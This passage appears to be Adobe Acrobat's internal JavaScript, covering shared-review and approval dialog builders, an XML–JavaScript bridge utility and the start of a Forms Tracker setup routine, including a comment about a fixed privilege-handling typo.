				    cc: "",

				    bcc: "",

				    sentDate: initDate,

				};

				Collab.registerReview(params);

			

				var docName = doc.documentFileName;

			

				if (app.platform == "WIN")

				{

					docName = docName.substring(docName.lastIndexOf('\\') + 1); //Bug #1046690. Remove the path info if any, from the filename

				}



				if (docName.indexOf('%') != -1 && data.decodedURL)

				{

					docName = data.decodedURL.substring(data.decodedURL.lastIndexOf('/') + 1);

					docName += " (";

					docName += doc.documentFileName;

					docName += ")";

				}



				app.beginPriv();

				Collab.alertWithHelp(	AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_MSG.replace(/%docname%/, docName),

										"",

										AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE.replace(/%docname%/, docName), 

										"Annots:SendForReviewConfirm");

				app.endPriv();

				return 1; // success

			}

		}

		else return 0; // cancelled

	}

})



function CBRunReturnResponseDialog(title, text,	tip, cannedSubj, cannedMsg, docName, liveReturnAddr, data)

{

	var buttonsWidth = { max: [ { string_width: AnnotsString.IDS_CANCEL }, { string_width: AnnotsString.IDS_HELP }, { string_width: AnnotsString.IDS_SEND } ] };

	var width = 450;

	

	var	description	= ANTrustPropagateAll({

		data: data,

		cannedMsg: cannedMsg,

		cannedSubj: cannedSubj,

		docName: docName,

		liveReturnAddr: liveReturnAddr,

		initialize:	function(dialog)

		{

			this.dialog	= dialog;

			dialog.load({tip1: "C_Info_Xl_N.png"});



			if(!this.data.msg)

				this.data.msg = this.cannedMsg.replace(/%docname%/, this.docName);

			if(!this.data.subj)

				this.data.subj = this.cannedSubj.replace(/%docname%/, this.docName);

			dialog.load({mesg: this.data.msg, subj: this.data.subj, "1adr": this.data.addr});

			dialog.enable( { "adrb" : app.addressBookAvailable } );

		},

		commit:	function(dialog)

		{

			var o = dialog.store();

			

			this.data.msg =	o["mesg"];

			this.data.subj = o["subj"];

			this.data.addr = o["1adr"];

		},

		adrb: function(dialog)

		{

			app.beginPriv();

			var addrs = app.mailGetAddrs({ cTo: dialog.store()["1adr"], bCc: false, bBcc: false });

			app.endPriv();

			

			if(addrs && addrs[0])

				dialog.load({"1adr" : addrs[0]});

		},

		// XXX help

		description: 

		{

			name: title,

			elements:

			[

				{

					type: "view",

					align_children: "align_left",

					elements:

						ANCreateMLSEElementsFromArray(text.split(/\n|\r\n|\r/), width).concat(

							liveReturnAddr ? [

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "button",

											name: AnnotsString.IDS_INVITE_ADDRESS_BOOK,

											item_id: "adrb"

										},

										{

											type: "edit_text",

											item_id: "1adr",

											alignment: "align_fill"

										}

									]

								},

							] : [

								{

									type: "static_text",

									name: AnnotsString.IDS_GEN_ADDRESSEE_HEADING

								},

								{

									type: "static_text",

									item_id: "1adr",

									alignment: "align_fill"

								}

							]

						).concat(

						[

							{

								type: "static_text",

								name: AnnotsString.IDS_GEN_SUBJECT_HEADING

							},

							{

								type: "edit_text",

								alignment: "align_fill",

								item_id: "subj"

							},

							{

								type: "static_text",

								name: AnnotsString.IDS_GEN_MESSAGE_HEADING

							},

							{

								type: "edit_text",

								alignment: "align_fill",

								height:	{ prod:	[ {	edit_text_height: [] },	5 ]	},

								multiline: true,

								item_id: "mesg"

							}

						]).concat(

							ANCreateTipElements(tip, width)

						).concat(

							[

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_right",

									elements:

									[

										{

											type: "ok_cancel",

											ok_name: AnnotsString.IDS_SEND

										}

									]

								}

							]

						)

				}

			]

		}

	});

	app.beginPriv();

	data.result = app.execDialog(description);

	app.endPriv();

	return data;

}



function CBRunReviewOptionsDialog(data, showReaderEnable, canReaderEnable)

{

	var width = { zstring_width: AnnotsString.IDS_INVITE_READER_ENABLE };

	

	var	description	= ANTrustPropagateAll({

		data: data,

		showReaderEnable: showReaderEnable,

		canReaderEnable: canReaderEnable,

		initialize:	function(dialog)

		{

			this.dialog	= dialog;

			dialog.load({

				tip1: "C_Info_Xl_N.png",

				radr: this.data.raddr,

				pctb: this.data.toolbars["Commenting"],

				patb: this.data.toolbars["AdvCommenting"]

			});



			// no forms please!

			var readerEnable = this.canReaderEnable && (typeof this.data.readerEnable == "undefined" ?

				true :

				this.data.readerEnable);

			

			this.dialog.load({rden: readerEnable});

			this.dialog.enable({rden: this.canReaderEnable, "adrb" : app.addressBookAvailable});



			if(!this.data.raddr)

				app.alert(AnnotsString.IDS_REVIEW_OPTIONS_NO_RADDR);

		},

		validate: function(dialog)

		{

			var o = dialog.store();

			

			if(!o["radr"])

			{

				app.alert(AnnotsString.IDS_REVIEW_OPTIONS_NO_RADDR);

				return false;

			} /*else // 1216388

			{

				//  1012399 - don't allow email aliases in this box since recipient will most likely not

				//            have that list in their address book.  This regular expression checks for 

				//            name@domain.com anywhere in the string (I removed the beginning and end 

				//            anchor we have in most email checks) which allows for entries from Outlook

				//            address book to work which are of the form "Display name (name@domain.com)"

				//            but aliases or lists will fail.

				//

				if (!CBIsValidEmail(o["radr"]))

				{

					app.alert(AnnotsString.IDS_EMAIL_INVALID);

					return false;

				}

			}*/

			return true;

		},

		commit:	function(dialog)

		{

			var o = dialog.store();

			

			this.data.raddr = o["radr"];

			this.data.toolbars = { Commenting: /*o["pctb"]*/data.toolbars.Commenting, AdvCommenting: o["patb"] };

			if(this.showReaderEnable && o["rden"] != this.data.readerEnable)

			{

				this.data.readerEnable = o["rden"];

				this.data.msgChanged = true;

			}

		},

		adrb: function(dialog)

		{

			app.beginPriv();

			var addrs = app.mailGetAddrs({ cTo: dialog.store()["radr"], bCc: false, bBcc: false });

			app.endPriv();

			

			if(addrs && addrs[0])

				dialog.load({"radr" : addrs[0]});

		},

		description: 

		{

			name: AnnotsString.IDS_REVIEW_OPTIONS,

			width: width,

			elements:

			[

				{

					type: "view",

					align_children: "align_row",

					elements:

					[

						{

							type: "view",

							elements:

							[

								{

									type: "static_text",

									name: AnnotsString.IDS_REVIEW_OPTIONS_RETURN_HEAD

								},

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: "button",

											name: AnnotsString.IDS_INVITE_ADDRESS_BOOK,

											item_id: "adrb"

										},

										{

											type: "edit_text",

											item_id: "radr",

											alignment: "align_fill"

										}

									]

								}/*,	//Fix Bug # 1303211.  Remove gap and remove the Display Drawing Markup Tools checkbox.

								{

									type: "gap",

									height: showReaderEnable ? 3 : 0

								},

								*/

								/*{

									type: "check_box",

									name: AnnotsString.IDS_INVITE_PRESENT_COMMENTING_TOOLBAR,

									item_id: "pctb"

								},*/ // don't show this as send comment only appears on the main commenting toolbar

								/*{

									type: "check_box",

									name: AnnotsString.IDS_INVITE_PRESENT_ADV_COMMENTING_TOOLBAR,

									item_id: "patb"

								}*/  //Fix Bug # 1303211.  Remove gap and remove the Display Drawing Markup Tools checkbox.

							].concat(showReaderEnable ? [

								{

									type: "gap",

									height: 3

								},

								{

									type: "static_text",

									name: AnnotsString.IDS_INVITE_READER_ENABLE_H

								},

								{

									type: "check_box",

									name: AnnotsString.IDS_INVITE_READER_ENABLE,

									item_id: "rden"

								}

							] : []).concat(ANCreateTipElements((showReaderEnable && canReaderEnable ?

								AnnotsString.IDS_REVIEW_OPTIONS_REN_TIP : AnnotsString.IDS_REVIEW_OPTIONS_NREN_TIP), width)

							).concat([

								{

									type: "ok_cancel"

								}

							])

						}

					]

				}

			]

		}

	});

	app.beginPriv();

	data.result = app.execDialog(description);

	app.endPriv();

	return data;

}



// why use snd2 in this reoutine, well using "send" does weird things.

// why return "myok" because if I return "ok" the receiver actually gets ""

function CBRunApproveDialog(title, text, dest, tip, cannedSubj, cannedMsg, docName, liveReturnAddr, data, bShowInitiatorEmail, bIsEnd)

{

	var buttonsWidth = { max: [ { string_width: AnnotsString.IDS_CANCEL }, { string_width: AnnotsString.IDS_HELP }, { string_width: AnnotsString.IDS_SEND } ] };

	var popupWidth = { max: [ { string_width: AnnotsString.IDS_APPROVAL_FINAL_COMPLETE_AND_EMAIL }, { string_width: AnnotsString.IDS_APPROVAL_FINAL_COMPLETE_ONLY }, 350 ] };

	var width = 450;

	

	var	description	= ANTrustPropagateAll({

		data: data,

		cannedMsg: cannedMsg,

		cannedSubj: cannedSubj,

		docName: docName,

		liveReturnAddr: liveReturnAddr,

		initialize:	function(dialog)

		{

			this.dialog	= dialog;

			

			dialog.load({tip1: "C_Info_Xl_N.png"});



			if(!this.data.msg)

				this.data.msg = this.cannedMsg.replace(/%docname%/, this.docName);

			if(!this.data.subj)

				this.data.subj = this.cannedSubj.replace(/%docname%/, this.docName);



			if (typeof this.data.initiatorEmail == "undefined")

				this.data.initiatorEmail = false;

			if (typeof this.data.finalApprovalEmail == "undefined")

				this.data.finalApprovalEmail = true;



			dialog.load({"mesg": this.data.msg, "subj": this.data.subj, "1adr": this.data.addr, "2adr": this.data.ccaddr});



			if(bShowInitiatorEmail)

				dialog.load({"cbx1": this.data.initiatorEmail});



			if(bIsEnd)

			{

				var ctyp = {};

				ctyp[AnnotsString.IDS_APPROVAL_FINAL_COMPLETE_AND_EMAIL] = (this.data.finalApprovalEmail)? 1 : -1;

				ctyp[AnnotsString.IDS_APPROVAL_FINAL_COMPLETE_ONLY] = (!this.data.finalApprovalEmail)? 2 : -2;

				dialog.load({"ctyp": ctyp});

				this.ctyp(dialog);

			}

			dialog.focus("1adr");

		},

		snd2: function(dialog) 

			{ 

				var o = dialog.store();

				if (this.justOneEmail(o["1adr"]) || this.findSelectedIndex("ctyp") == 1)

				{

					this.commit(this.dialog); 

					this.dialog.end("myok"); 

				} else {

					app.alert(AnnotsString.IDS_EMAIL_ADDRESS_TO_FIELD_MSG);

				}

			},

		cncl: function(dialog) { this.dialog.end("cncl"); },

		justOneEmail: function (toString)

		{

			if (toString == "")

				return false;

				

			var split = toString.split(/\;/);

				

			var nNumAddrFound = 0;

			for(var i in split)

			{

				if(split[i])

				{

					var addrMatch = split[i].match(/^\s*(\S(?:.*\S)?)\s*$/);

					if(addrMatch && addrMatch[1])

						nNumAddrFound++;

				}

			}

			if (nNumAddrFound == 1)

				return true;

			else

				return false;

		},

		findSelectedIndex: function(id)

		{

			var o = this.dialog.store()[id];



			for(var i in o)

			{

				if(o[i] > 0)

					return o[i] - 1;

			}

			return -1;

		},

		idle: function(dialog)

		{

			var o = dialog.store();

			dialog.enable(

				{snd2: (o["1adr"] != "" || this.findSelectedIndex("ctyp") == 1)}

			);

		},

		commit:	function(dialog)

		{

			var o = dialog.store();

			

			this.data.msg =	o["mesg"];

			this.data.subj = o["subj"];

			this.data.addr = o["1adr"];

			this.data.ccaddr = o["2adr"];

			this.data.initiatorEmail = o["cbx1"];

			this.data.finalApprovalEmail = (this.findSelectedIndex("ctyp") == 0);

		},

		toad: function(dialog)

		{

			app.beginPriv();

			var addrs = app.mailGetAddrs({ cTo: dialog.store()["1adr"], cCC: dialog.store()["2adr"], bBcc: false });

			app.endPriv();

			

			if(addrs)

			{

				if (addrs[0])

					dialog.load({"1adr" : addrs[0]});

				if (addrs[1])

					dialog.load({"2adr" : addrs[1]});

			}

		},

		ccad: function(dialog)

		{

			this.toad(dialog);

		},

		ctyp: function(dialog)

		{

			var index = this.findSelectedIndex("ctyp");

			if(index == 0)

			{

				dialog.load({"snd2": AnnotsString.IDS_SEND});

				dialog.enable({"toad": true, "1adr": true, "ccad": true, "2adr": true, "subj": true, "mesg": true});

			}

			else if(index == 1)

			{

				dialog.load({"snd2": AnnotsString.IDS_COMPLETE});

				dialog.enable({"toad": false, "1adr": false, "ccad": false, "2adr": false, "subj": false, "mesg": false});

			}

		},

		//cbx1: function(dialog)

		//{

		//	var o = dialog.store();

		//	if (o["cbx1"])

		//		this.data.initiatorEmail = true;

		//	else

		//		this.data.initiatorEmail = false;

		//},

		// XXX help

		description: 

		{

			name: title,

			elements:

			[

				{

					type: "view",

					align_children: "align_left",

					elements:

						ANCreateMLSEElementsFromArray(text.split(/\n|\r\n|\r/), width).concat(

							{

								type: "gap",

								height: 3

							}

						).concat( bIsEnd ? [

							{

								type: "static_text",

								name: AnnotsString.IDS_APPROVAL_COMPLETION_TYPE_HEADING

							},

							{

								type: "popup",

								item_id: "ctyp",

								alignment: "align_left",

								width: popupWidth,

								PopupEdit: false

							}

						] : []).concat(

							{

								type: "static_text",

								name: dest,

								alignment: "align_fill"

							}

						).concat(

							liveReturnAddr ? [

								{

									type: "view",

									align_children: "align_row",

									alignment: "align_fill",

									elements:

									[

										{

											type: app.addressBookAvailable ? "button" : "static_text",

											name: AnnotsString.IDS_GEN_ADDRESSEE_HEADING,

											item_id: "toad"

										},

										{

											type: "edit_text",

											item_id: "1adr",

											alignment: "align_fill"

										}

									]

								},

							] : [

								{

									type: "static_text",

									name: AnnotsString.IDS_GEN_ADDRESSEE_HEADING

								},

								{

									type: "static_text",

									item_id: "1adr",

									alignment: "align_fill"

								}

							]

						).concat(

						[

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: app.addressBookAvailable ? "button" : "static_text",

										name: AnnotsString.IDS_GEN_CC_HEADING,

										item_id: "ccad"

									},

									{

										type: "edit_text",

										item_id: "2adr",

										alignment: "align_fill"

									}

								]

							},

						]).concat(

						[

							{

								type: "static_text",

								name: AnnotsString.IDS_GEN_SUBJECT_HEADING

							},

							{

								type: "edit_text",

								alignment: "align_fill",

								item_id: "subj"

							},

							{

								type: "static_text",

								name: AnnotsString.IDS_GEN_MESSAGE_HEADING

							},

							{

								type: "edit_text",

								alignment: "align_fill",

								multiline: true,								

								height:	{ prod:	[ {	edit_text_height: [] },	8 ]	},

								item_id: "mesg"

							}

						]).concat( bShowInitiatorEmail ? [

							{

								type: "gap",

								height: 1

							},

							{

								type: "check_box",

								item_id: "cbx1",

								//multiline: true,

								name: AnnotsString.IDS_EMAIL_APPROVAL_NOTIFY_INITIATOR

							},

						] : []).concat(

							ANCreateTipElements(tip, width)

						).concat(

//							[

//								{

//									type: "view",

//									align_children: "align_row",

//									alignment: "align_right",

//									elements:

//									[

//										{

//											type: "ok_cancel_help",

//											ok_name: AnnotsString.IDS_SEND

//										}

//									]

//								}

//							]

							[

								{

									type: "view",

									align_children: "align_right",

									alignment: "align_right",

									elements:

									[

										{

											type: "view",

											align_children: "align_row",

											alignment: "align_right",

											elements:

											[

												{

													type: "button",

													name: AnnotsString.IDS_SEND,

													item_id: "snd2",

													width: buttonsWidth

												},

												{

													type: "button",

													name: AnnotsString.IDS_CANCEL,

													item_id: "cncl",

													width: buttonsWidth

												}

											]

										}

									]

								}

							]

						)

				}

			]

		}

	});

	app.beginPriv();

	data.result = app.execDialog(description);

	app.endPriv();

	return data;

}



InitAnWizard = app.trustedFunction(function()

{

	IWEmailFormSteps[0].title = AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD;

	

	UploadFileSteps[0].title = AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF;

	UploadFileSteps[0].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

	

	UploadFileSteps[1].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

	UploadFileSteps[1].title = AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF;



	UploadFileSteps[2].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

	UploadFileSteps[2].title = AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF;

	

	UploadFileSteps[3].heading = AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_UF;

	UploadFileSteps[3].title = AnnotsString.IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UF;

		

	DocCenterLoginSteps[0].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

    DocCenterLoginSteps[0].title = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_LOGIN;



    DocCenterLoginSteps[1].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

    DocCenterLoginSteps[1].title = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE;



    DocCenterLoginSteps[2].heading = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_HEADING;

    DocCenterLoginSteps[2].title = AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_CONFIRM_TITLE;

    

    SharedReviewDocCenterInitiator.oTaskSet.cTitle = AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE;

    SharedReviewWebDAVInitiator.oTaskSet.cTitle = AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE;

    SharedReviewAppleiDiskInitiator.oTaskSet.cTitle = AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE;

    SharedReviewSMBInitiator.oTaskSet.cTitle = AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE;

    SharedReviewSharepointInitiator.oTaskSet.cTitle = AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE;



    if(typeof Collab != "undefined")

    {

    	// really the width of PART of each panel

    	//Initially we were usign the wizard width in the AlertWithHelp dialog. Now introducing a new width var.

    	Collab.AlertWithHelpWidth = (app.platform == "WIN") ? 508 : 508; 

    

    	//We require a width=592, subtract 2*wizardMarginWidth. So, 592-(2*25)=542

    	Collab.wizardWidth = (app.platform == "WIN") ? 592 : 575; 

    

    	// really the height of PART of each panel

    	// We require the wizard height to be 482. The row of buttons below is seperate, whose height is 54 (11+32+11). So  482-54=428

    	Collab.wizardHeight = 428;

    	

    	Collab.buttonRowMarginHeight = 11;

    	Collab.buttonRowMarginWidth = 11;

    	Collab.wizardMarginWidth = 25;

    	

    	Collab.marginWidth = 20;

    	Collab.marginHeight = 20;

    	

    	Collab.tipIconWidth = 32;

    	Collab.tipIconHeight = 32;

    	Collab.navIconWidth = 12;

    	Collab.navIconHeight = 12;

    

        app.beginPriv();

	   RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/WebDAV", 

				SharedReviewWebDAVInitiator);

	   //if (app.platform == "WIN")

	   {

	   	   RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint", 

					SharedReviewSharepointInitiator);

	   }

	   if (app.platform == "MAC")

	   {

		//dikumar: Removing support for initiating a shared review from mac using idisk  

		//RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/iDisk",

		//			SharedReviewAppleiDiskInitiator);

	   }

	   RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/SMB", 

				SharedReviewSMBInitiator);

				

	   RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com", SharedReviewDocCenterInitiator);

	   app.endPriv();

  }

    

    // Initialissation of global variables  //



    







});



/* For now, we'll let InitAnWizard be called when AnWizard.js loads. Loading EScript loads Annots anyways. 

For details see Bug#2698232 , 2710776.

TODO A11, Clean up anwizard.js and Annots.js and wrap global references to Annots etc properly. 

*/

InitAnWizard();

//console.println(AnnotsString.IDS_ANNOTS_JS_WIZ_BUILTIN);



} catch(e) {

	console.println(e.extMessage);

}



/*

Copyright �� 2006-2007 Adobe Systems Incorporated



Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),

to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,

and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:



The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.



THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE

OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/



const ScriptBridgeUtils =

{

// --------------------------------------------------

//	Public methods

// --------------------------------------------------

	

	// Convert an XML invoke string to a JavaScript Object with the following two properties

	//	.method is the function name of the call to invoke

	//	.args is the Array of argument JavaScript Objects

	xmlString2jsCall: function( xmlString )

	{

		var xml = new XML( xmlString );

		return { method:xml.@name, args:this.xml2jsArray( [], xml.arguments.children() ) };

	},

	

	// Convert the JavaScript Object to an XML String to be sent back to Flash

	jsResult2xmlString: function( value )

	{

		return this.toXMLString( this.js2xml( value ) );

	},



	// Convert a JavaScript Object to an XML invoke String

	jsCall2xmlString: function() // takes argument list

	{

		var ret = <invoke/>;

		ret[ "@name" ] = arguments[0][0];

		ret[ "@returntype" ] = "javascript";

		if ( arguments[0] && arguments[0][0].length > 1 )

		{

			ret.appendChild( <arguments/> );

			for( var i = 1; i < arguments[0].length; ++i )

			{

				ret[ "arguments" ].appendChild( this.js2xml( arguments[0][i] ) );

			}

		}

		return this.toXMLString( ret );

	},



// --------------------------------------------------

//	Private methods

// --------------------------------------------------



	// Convert the XML Object into JavaScript Objects and append them to the provided Array

	xml2jsArray: function( targetArray, xmlNodeList )

	{

		for each ( node in xmlNodeList ) { targetArray.push( this.xml2js( node ) ); }

		return targetArray;

	},



	// Convert an XML Object to a JavaScript Object

	xml2js: function( requestXML )

	{

		if ( requestXML == undefined ) { return ""; }

		if ( requestXML.nodeKind() != "element" ) { return ""; }

		

		switch( requestXML.name().toString() )

		{

		case "property":	return this.xml2js( requestXML.child( 0 ) );

		case "string":		return requestXML.toString();

		case "number":		return Number( requestXML.toString() );

		case "true":		return Boolean( true );

		case "false":		return Boolean( false );

		case "array":		return this.xml2jsArray( new Array(), requestXML.children() );

		case "object":

		{

			var result = {};

			var xmlPropertiesList = requestXML.children();

			for each( node in xmlPropertiesList )

			{

				if ( node.name().toString() != 'property' )

				{

					throw new Error( "expected only property nodes" );

				}

				var propName = node.@id.toString();

				result[ propName ] = this.xml2js( node );

			}

			return result;

		}

		default: break;

		}

	},



	// Convert a JavaScript Object to an XML Object

	js2xml: function( value )

	{

		var argType = typeof( arguments[0] );

		var arg;

		

		if ( argType == "boolean" || argType == "undefined" || value == null )

		{

			arg = new XML("<" + value + "/>");

		}

		else

		{

			if ( argType == "object" )

			{

				if ( value instanceof( Array ) )

				{

					argType = "array";

				}

				else if ( value instanceof( String ) )

				{

					argType = "string";

				}

				else if ( value instanceof( Date ) )

				{

					argType = "date";

				}

			}

			

			arg = new XML( "<" + argType + "/>" );

			

			if ( argType == "object" || argType == "array" )

			{

				for( var i in value )

				{

					var prop = <property/>;

					prop[ "@id" ] = i;

					

					prop.appendChild( this.js2xml( value[i] ) );

					arg.appendChild( prop );

				}

			}

			else if ( argType == "date" )

			{

				arg.appendChild( new XML( value.getTime() ) );

			}

			else

			{

				arg.appendChild( value );

			}

		}

		return arg;

	},



	// Filter out whitespace characters because ActionScript treats them as parameters

	toXMLString: function( xml )//:String

	{

		var oldVal = XML.prettyPrinting;

		XML.prettyPrinting = false;

		var result = xml.toXMLString();

		XML.prettyPrinting = oldVal;

		return result;

	}

};

/******************************************* ADOBE CONFIDENTIAL NOTICE ***/

/*                                                                       */

/*                        ADOBE CONFIDENTIAL                             */

/*                        ------------------                             */

/*                                                                       */

/* Copyright 2003-2006, Adobe Systems Incorporated, All Rights Reserved. */

/*                                                                       */

/* NOTICE: All information contained herein is, and remains              */

/* the property of Adobe Systems Incorporated and its suppliers,         */

/* if any.  The intellectual and technical concepts contained            */

/* herein are proprietary to Adobe Systems Incorporated and its          */

/* suppliers and may be covered by U.S. and Foreign Patents, patents     */

/* in process, and are protected by trade secret or copyright law.       */

/* Dissemination of this information or reproduction of this material    */

/* is strictly forbidden unless prior written permission is obtained     */

/* from Adobe Systems Incorporated.                                      */

/*                                                                       */

/******************************************* ADOBE CONFIDENTIAL NOTICE ***/



function InitializeFormsTrackerJS()

{

    try

    {

	    const cTableOddRowColor = "#FFFFFF";

	    const cTableEvenRowColor = "#F8F8F8";

	    const cTableHeaderColor = "#E4E4FF";

    	

	    var myFormsTrackerDebugAlert = function(str)

	    {

		    //narinder - uncomment to turn on debugging

		    //app.alert(str);

	    };

    	

	    var getString = function (i)

	    {

		    var rval = app.getString({cPlugInName:"Forms",cStringId:i});

		    if(rval == "")

			    return "empty:"+i;

		    return rval;  

	    };



	    if(typeof RSS != "undefined")

	    {

		    // RSS Namespace

		    var fwNS = "http://ns.adobe.com/Acrobat/RSS/Forms/";

		    var inboxNS = "http://ns.adobe.com/Acrobat/RSS/Inbox/";

		    var ftNS = "urn://ns.adobe.com/Acrobat/FormsTracker/";



		    //HREFs and URLs

		    var cFormsIveSentURL = "urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/MyForms.rss";

		    var	cFormsIveSentFeedLink = "acrobat:Inbox?container=" + ftNS + "&selectFeed=" + cFormsIveSentURL;

		    var cFormsIveReceivedURL = "urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/ParticipantForms.rss";

		    var	cFormsIveReceivedFeedLink = "acrobat:Inbox?container=" + ftNS + "&selectFeed=" + cFormsIveReceivedURL;

		    var cFormsSuperGroupURL = "urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/FormsSuperGroup.rss";

		    var cFormsSuperGroupLink = "acrobat:Inbox?container=" + ftNS + "&selectFeed=" + cFormsSuperGroupURL;



		    // RSS Extensions

		    var fwMethod = fwNS + ":method";

		    var fwDocID = fwNS + ":docID";

		    var fwRecipients = fwNS + ":recipients";

		    var fwNewResponses = fwNS + ":newResponses";

		    var fwResponses = fwNS + ":responses";

		    var fwExtraInfo = fwNS + ":extraInfo";

		    var fwDocTitle = fwNS + ":docTitle";

		    var fwDocLink = fwNS + ":docLink";

		    var fwTo = fwNS + ":to";

		    var fwCc = fwNS + ":cc";

		    var fwBcc = fwNS + ":bcc";

		    var fwIsOffline = fwNS + ":isOffline";

		    var fwIsInitiated = fwNS + ":isInitiated";

		    var fwIsOnline = fwNS + ":isOnline";

		    var fwLastSync = fwNS + ":lastSync";

		    var fwLatestVersion = fwNS + ":latestVersion";

		    var fwRemoteURL = fwNS + ":remoteURL";

		    var fwLocation = fwNS + ":location";

		    var fwFolder = fwNS + ":folder";

		    var fwServers = fwNS + ":serverReviews";

		    var fwHasConnected = fwNS + ":hasConnected";

		    var fwConnectionStatus = fwNS + ":connectionStatus";

		    var fwWorkspace = fwNS + ":workspace";

		    var inboxHidden = inboxNS + ":hidden";



		    //Shared Form workflow states

		    var FORM_STATE_ACTIVE = "Active";

		    var FORM_STATE_ENDED = "Ended";

		    var FORM_STATE_SUSPENDED = "Suspended";

		    var FORM_STATE_CORRUPTED = "Corrupted";

	    }



	    //Event Logging Category and Subcategory constants

	    var EVENT_LOGGING_CATEGORY_TRACKER = "Tracker";

	    var EVENT_LOGGING_SUBCATEGORY_FORMS = "Forms";

    	

	    var LogAVUMEvent = app.trustedFunction(function(category, subcategory, eventName)

	    {

    	    var logEventParams = {};

		    logEventParams.cat = category;

		    logEventParams.subcat = subcategory;

		    logEventParams.evnt = eventName;

    		

		    app.beginPriv();

		    Collab.AVUMLogEventWrapper(logEventParams);

		    app.endPriv();

	    });



	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	    // Global functions used by various context menus etc. in Forms Tracker

	    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

	    var FormsTrackerAddNewFolder = app.trustedFunction(function(url)

	    {

		    var result;



			app.beginPriv();

		    var current = FormWorkflow.getFormWorkflowFolders(url);

			app.endPriv();



		    while(true)

		    {

			    // Query for a name

			    app.beginPriv();

			    var folder = app.response(AnnotsString.IDS_REVIEW_PANEL_ADD_FOLDER,

									      AnnotsString.IDS_REVIEW_PANEL_NEW_FOLDER);

			    app.endPriv();



			    if(folder != undefined && folder != null)

			    {

				    if(folder.length < 1 || folder.length > 15)

				    {

					    app.beginPriv();

					    app.alert(AnnotsString.IDS_REVIEW_PANEL_FOLDER_LENGTH, 1, 0);

					    app.endPriv();

				    }

				    else

				    {

					    var bFound = false;

					    if(current != undefined)

					    {

						    for(var i = 0; i < current.length && !bFound; i++)

							    bFound = current[i] == folder;

					    }



					    if(bFound) 

					    {

						    var msg = AnnotsString.IDS_REVIEW_PANEL_FOLDER_EXISTS;

						    msg = msg.replace(/%s/g, folder);

						    app.beginPriv();

						    app.alert(msg, 1, 0);

					        // PSIRT-9216

					        // app.Priv(); looked like a typo which should instead have been app.endPriv();

					        // since app.Priv() was undefined the researcher has assigned  app.Priv() to some arbitrary function 

                            // which then got executed at the next line , thus making it vulnerable.

						    app.endPriv(); 

					    }

					    else

					    {

						    app.beginPriv();

						    FormWorkflow.addFormWorkflowFolder(url, folder);

    						LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_FORMS, "CreateFolder");

						    app.endPriv();

						    result = folder;

						    break;

					    }

				    }

			    }

			    else break;

		    }

		    return result;

	    });



	    var FormsTrackerSetFormFolder = app.trustedFunction(function(url, docID, folder)

	    {

		    app.beginPriv();

		    FormWorkflow.setFormWorkflowFolder(url, docID, folder);

		    app.endPriv();

	    });



	    var FormsTrackerRemoveFolder = app.trustedFunction(function(url, folder)

	    {

			var msg;

			if(url == cFormsIveSentURL)

				msg = getString("IDS_SHAREDWF_ASK_DEL_FOLDER_DISTRIBUTED");

			else

				msg = getString("IDS_SHAREDWF_ASK_DEL_FOLDER_RECEIVED");

			msg = msg.replace(/%foldername%/g, folder);



			app.beginPriv();

